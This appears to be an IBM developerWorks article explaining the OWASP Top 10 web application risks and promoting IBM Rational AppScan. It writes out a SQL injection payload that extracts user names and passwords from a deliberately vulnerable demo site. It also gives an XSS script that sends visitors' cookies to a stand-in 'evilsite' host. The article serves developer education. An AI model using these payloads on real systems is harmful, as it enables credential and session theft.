Over the past decade, websites (web apps), have evolved from rendering simple point-and-click static brochure-ware pages to a dynamic interactive user experience, powered by sophisticated functionality and complex information management. Today's modern web apps are more than a match for most desktop PC applications and continue to push boundaries by taking advantage of limitless cloud services. Just about every conventional desktop office application has a browser-based equivalent. Users can create, edit, and share information effortlessly within a web browser, regardless of physical location and device, breaking the shackles of the office and desktop PC.
Business has also fueled the web app revolution. Aside from providing new commercial opportunities, web apps are cheaper and faster to develop than desktop applications. Web apps are also simpler to roll out; all that is required is a compatible browser. Operating systems (that is, Windows®, Mac, Linux®, etc.) and hardware specifications, such as requiring a certain amount of disk space, have all gone out the window.
The amount of information managed by web apps is greater than ever. From online banking to making an appointment with your doctor, web apps are routinely trusted to securely manage billions of data records, including our most confidential and personal information.
But more powerful web apps means the code written by developers is more complicated than ever. The more complicated the code, the greater the risk of coding flaws, which lead to serious security vulnerabilities within the application. Web app vulnerabilities face exploitation by relentless malicious actors, bent on profiteering from data theft, or gaining online notoriety by causing mischief. Considering these threats, and with the information stakes so high, there can be no room for any complacency when it comes to web app security.
Web app security
The instant a web app is made available online, it becomes a target of cyberattack. Whether specifically targeted by an individual or group, or randomly by automated malicious software, expect every aspect of an online web app to be continually probed for weakness. Therefore, ensuring the security of the web app is essential prior to its release.
Securing the network layer (hosting) of web apps is a well-trodden road and is a logical, straightforward process to achieve and ensure. However, a network firewall plays no part in securing a web app. The Achilles heel of securing information online is at the application layer. Application vulnerabilities caused by coding errors and weak coding techniques are consistently exploited by hackers, and have been behind some of the largest data breaches in recent times. In March 2008, Heartland Payment Systems had 134 million credit card details stolen, due to the exploitation of a web app vulnerability, with hackers using an SQL injection attack to install malware. In 2012, Yahoo! suffered multiple data breaches caused by the exploitation of web app vulnerabilities; more than 450,000 Yahoo! account user names and passwords were stolen through SQL injection and cross-site scripting attacks.
Neglecting web app security can severely affect a business. Simple website defacement can lead to embarrassing media coverage and reputational damage, but it is often personal data theft that proves the most costly and detrimental. Losing customer data usually results in the business receiving the full brunt of negative media scrutiny, followed by legal and regulatory sanctions that can run into millions of dollars and even a sharp drop in share price. Then there are the many hidden costs of mopping up a serious data breach: forensic investigations, application outage time, and the frantic recoding of the web app, which all have a high price tag.
Bad code is the root cause of most web app breaches
The root cause of most web app-related data breaches lies with the application code written by developers. Vulnerabilities are caused when developers either make coding errors or do not grasp the importance of using robust coding techniques. For instance, there is writing code that sanitizes input field values to only accepting and processing the expected characters. This is a simple enough coding technique, but if missed could allow an attacker to take advantage of an input field to execute a SQL database instruction, which could return the entire database of customer information, including names, email addresses, and even credit card numbers. Such vulnerabilities represent easy pickings for cybercriminals, as they can quickly monetize the information on underground online data markets. Web apps must be tested for application layer vulnerabilities, and where necessary, developers must to be taught to understand the risks and to write secure code.
OWASP Top 10 — Web app security best practice
The Open Web Application Security Project (see Resources) is an open source community formed in 2001 that freely produces guidance on application security risks. OWASP maintains the OWASP Top 10, a list that identifies the most critical application security risks. The list is regarded as industry best practice in preventing web app vulnerabilities, and is referenced by major security organizations and security regulations, such as PCI DSS, FTC, MITRE, and most web app-penetration testing providers.
OWASP Top 10 2013
The OWASP list is ordered by the most critical vulnerability type first, and the list is updated on a three-year cycle, with the latest top 10 released in 2013. The list does not include all possible types of vulnerabilities, and there is often a crossover on the list in that it is possible for a web app vulnerability to qualify for more than one of the OWASP listed categories.
Injection flaws have always been one of the most critical and commonplace web app security vulnerabilities, so it is no surprise that injection tops the OWASP list. There are a variety of injection flaw types, but by far the most infamous is SQL injection, which has been successfully exploited by hackers for well more than a decade. SQL injection involves an attacker appending SQL database commands within an input field. If the web application code does not filter (i.e., sanitize) the input, SQL commands could be executed on the web server, allowing an attacker to bypass network DMZ security, and directly interrogate the back-end database. With SQL injection, an attacker is able to return and steal tables of information, make changes to records, or even delete the entire database.
Example of a simple SQL injection attack
The following example was performed against a purposely built web app vulnerability testing Web site from IBM: http://demotestfire.com. The company Altoro Mutual is fictitious, but the attack demonstrated is real (see Figure 1).
The example web app provides a function to allow a user to list
transactions between specific dates. The date input field does not
sanitize the value entered, so it is vulnerable to a SQL injection
attack. The following input value injects a command that returns the
contents of the database fields, including account user names and
1/1/2010 union select userid,null, username+' '+password,null from users--.
Figure 1. Web app returning data following submission
The first part of the value entered in the field is the date, which is the
value expected by the application. This ensures that the application
processes the date data together with the rest of the injected command.
Following the date the term "union" signals the start of the SQL command.
It is essentially saying "Here is the expected date and ...." Through trial
and error, the attacker has been able to work out the name of the user
account table, called
users, and the number of
fields within the users table. Then the attacker uses this information to
write a SQL
select command, which instructs the
return of record data from the users table. The table information,
including account user names and passwords, is displayed within the web
page's transaction form.
This is a basic example of SQL injection. In the real world, injection attacks are far more sophisticated, with hackers making use of specialist tools, helping them automate their attacks.
2. Broken authentication and session management
The second most critical vulnerability on the OWASP list relates to how the web app authenticates and protects each user web session. There are many types of flaws with broken authentication and session management, one of which is session hijacking.
An attacker may seek to steal (hijack) a web session by learning a victim's secret session ID. Knowing a user's session ID can allow an attacker to impersonate the user's authenticated connection with the web server, compromising the user account. If the web app manages session IDs poorly, such as displaying a session ID within a URL instead of using a cookie, it can be a fairly simple for an attacker to obtain the session ID by tricking the user.
to obtain session IDs directly from the user's locally stored cookie
files, by tricking users into running covert scripts. A simple script can
reveal the session ID stored within a cookie — for example, typing the
following script in a vulnerable search field reveals the session ID:
Figure 2. A sample script can reveal a session ID stored in a cookie
Secure coding techniques and modern developer frameworks can be used to beef up application authentication and session management. These include combining the source IP address of the user with the session ID and requiring user re-authentication before allowing any changes to key account details, such as changes to passwords and email addresses. Changes like these are a common first action by hackers upon hijacking a web session, but forcing re-authentication terminates the hijacked session — a simple coding technique to reduce risk.
Terminating sessions after a timed period of user inactivity is another simple coding technique that should not be overlooked. For example, once a user hits a time limit of five minutes of website inactivity, the application terminates the session, forcing the user, and any attacker, to re-authenticate when they wish to continue. This is another simple measure that reduces the risk of session hijacking and is a technique you will experience with most online banking web apps.
3. Cross-site scripting
Cross-site scripting (XSS) is another common web app attack that has been around for years. If a web app is vulnerable to XSS, an attacker can introduce a malicious script within a web page, which executes once the page is accessed by a user.
XSS attack example
In this example, the web app provides visitors with the ability to
post reviews of company products. The review comments field is vulnerable
to XSS. The example review comment
This is a great product <script>document.write('<img scr=http://evilsite/'+document.cookie>');</script>),
which is shown below, inserts an XSS script onto
the web page, which will attempt to steal each visitor's session ID.
Figure 3. Example review comment that inserts an XSS script onto a web page
The vulnerable web app accepts the text comment and the XSS script. From this point on, users visiting the review page would observe the comment "This is a great product" but have no sight of the script, which executes in the browser, sending cookie information, including session ID, to the attacker's website. In this example, the attacker's website is called "evilsite." The attacker then uses the stolen session ID to hijack the victim's session, compromising the account. Such scripts are particularly deadly, as hackers can use them to steal sessions from thousands of user accounts at a time.
These days, most modern browsers protect against XSS attacks — Internet Explorer, for instance, defaults in a protection mode that prevents XSS scripts from executing when present. However, XSS is still a popular and successful attack vector, and a vulnerability that should never be present in a web app.
4. Insecure direct object references
Insecure direct object flaws can result in an authenticated web app user having unauthorized access to privileged account functions and information. Poor design or misconfiguration of data objects (such as file, directory, and database key) within development can allow users with low account privileges to bypass the application access controls. Users can exploit this type of weakness by changing parameter values to directly refer to objects the user is not authorized to access.
Developers can safeguard against this by ensuring that access control checks are invoked with all user access to objects.
5. Security misconfiguration
Security misconfiguration can occur within all components of the web app provision, including the platform (operating systems), web server, database, and framework. Common issues include leaving unnecessary services running, default administrator account credentials active, and revealing directory listings and files online. But a real favorite of hackers is the mishandling of error messages.
Figure 4. Error messages provide hackers with vital clues
Not disabling application error messages helps an attacker to better understand the database structure and aids an attacker in their trial-and-error approach, allowing him to customize injection commands and scripts to be successful. In the example, the error message informs the hacker that the name of the table is correct, but the number of fields guessed within the SQL injection command is incorrect.
6. Sensitive data exposure
Sensitive information must be correctly handled and secured by the web app. Robust access control procedures, industry-recognized encryption algorithms, and encryption key management processes are all essential layers of data protection to prevent sensitive data from exposure as it is processed, in transit, and at rest.
7. Missing function-level access control
Web apps can have users with different levels of account privileges. In such circumstances, basic user authentication may not be enough to prevent a user from gaining higher-level privileged account functions and access to restricted information.
If access to privileged account functions was controlled by merely hiding functions within the code, a hacker that has compromised a lower-level user account could attempt to access the privileged account functions and data by guessing the calls of the higher functions.
8. Cross-site request forgery (CSRF)
A Cross-site request forgery (CSRF) takes advantage of a web app-authenticated user by tricking the user into executing a script that performs malicious actions as a trusted user. For example, a CSRF script is executed on a victim's desktop covertly. The script makes a request to change the user's password on the web app, and as the user is authenticated, the web app accepts the password change request.
There are several development methods to prevent CSRF, including forcing a random token with each request to validate the session, or using random field naming on forms, which leaves the attacker unable to craft a successful script.
9. Using components with known vulnerabilities
Any part of the web app developed by a third party — whether binary or source code, open source or commercial — requires vulnerability assurance.
Nearly every web app uses open source components, such as the OpenSSL library, which used to provide the majority of Internet's TLS/SSH (HTTPS) website encryption. In April 2014, several versions of the OpenSSL library were identified as having a critical security vulnerability: CVE-2014-0160, referred to as the Heartbleed bug.
Ensuring that third-party web app components are free from known vulnerabilities requires a continued process of monitoring for new releases of security patches and a program of vulnerability scanning.
10. Unvalidated redirects and forwards
Web apps frequently process redirects to other pages using parameters. If these parameters are not validated, an attacker can take advantage by crafting a redirection to a malicious page, which can trick victims into disclosing passwords and sensitive data. For example, an attacker could craft a link in a malicious phishing email, where the link uses the expected domain name for the target website. The redirection parameter is at the end of the URL link, and is hidden from the view of the user, so it is more likely for the user to click the link, or to copy the link into a web browser due to the legitimacy of using the correct domain name in the URL.
See Resources for further details and guidance on the OWASP Top 10 (2013).
Avoiding unnecessary costs in Web application vulnerability mitigation
Developing and releasing web apps with vulnerabilities is expensive and time-consuming, as even fixing a single line of code post-release can equate to hundreds of hours of labor in rewriting and retesting. Testing and resolving code vulnerabilities early within the application development lifecycle is the most efficient and cost-effective method.
Using third-party penetration testing has its place in proving the web app is secure, but using penetration testing and subsequent retesting as a process to find and mitigate web app code vulnerabilities is time-consuming and a needless expense. Vulnerabilities should be weeded out much earlier in the software development cycle. When developers go wrong with secure coding, they need to be properly educated to ensure that such errors are not repeated. The average penetration test report provides very little education for developers and code writers.
IBM Rational AppScan, a leading web application vulnerability scanning tool, empowers web app developers and testers to test for security vulnerabilities as part of an in-house software development lifecycle, including testing all vulnerabilities listed in the OWASP Top 10 (see Resources). AppScan is a powerful tool that can be customized by developers, and as developers have far more in-depth knowledge about their application than any third-party penetration tester, this arguably allows for much more thorough vulnerability testing of the web app.
AppScan concisely explains any web app vulnerability it finds, including providing the full details of the actual test it conducted to find the vulnerability — a degree of detail seldom found in a penetration test report. AppScan is particularly helpful when it comes to explaining vulnerabilities to developers, educating those who write the code using simple text explanations and video tutorials, and even providing examples of code developers can copy to resolve the vulnerability. This level of information and assistance to developers not only helps them better understand the importance of web app security but it educates developers to code better, reducing the likelihood of future vulnerabilities within the web app.
Ensuring web app security
AppScan has extensive reporting capabilities and comes with a variety of industry-standard web app vulnerability report types, which can be used to provide evidence and assurance that a web app has been developed to be secure. Delta Analysis reports can prove web app vulnerability fixes, while reports against the OWASP Top 10 and PCI DSS, demonstrates the security of developed web apps to auditors and customers.
Underestimating the importance of web app security is a ticking bomb. A single web app vulnerability can lead to a monumental data breach that can shake even the largest of businesses down to its foundation, possibly causing worldwide negative media headlines, hefty financial penalties, and the loss of public trust. Investing in ensuring the security of web apps by adopting industry best app-development practices, like the OWASP Top 10, and using web app vulnerability scanning tools, like IBM Rational AppScan, is an essential practice.
- The OpenSSL library was identified as having a critical security vulnerability CVE-2014-0160 referred to as the Heartbleed bug.
- Get further details and guidance on the current OWASP Top 10.
- The Open Web Application Security Project (OWASP) is an open source community formed in 2001 that freely produces guidance on application security risks.
- Check out a demo web application built by IBM for vulnerability testing: http://demotestfire.com.
- A Cross-Site Request Forgery (CSRF) forces an end user to execute unwanted actions on a web app in which he is currently authenticated.
- Visit the Security On developerWorks community to find more how-to-guides, articles, videos, and demos our community resource library.
- Visit the Security On developerWorks blog to learn about new security-related how-to guides, articles, and demo videos.
- Sign up for the weekly Security On developerWorks newsletter for the latest security headlines.
- Follow @dwsecurity to get updates from the developerWorks security zone in real time.
- To listen to interesting interviews and discussions for software developers, check out developerWorks podcasts.
Get products and technologies
- Learn more about IBM Rational AppScan, a leading Web application vulnerability scanning tool,
- Innovate your next open source development project with IBM trial software, available for download or on DVD.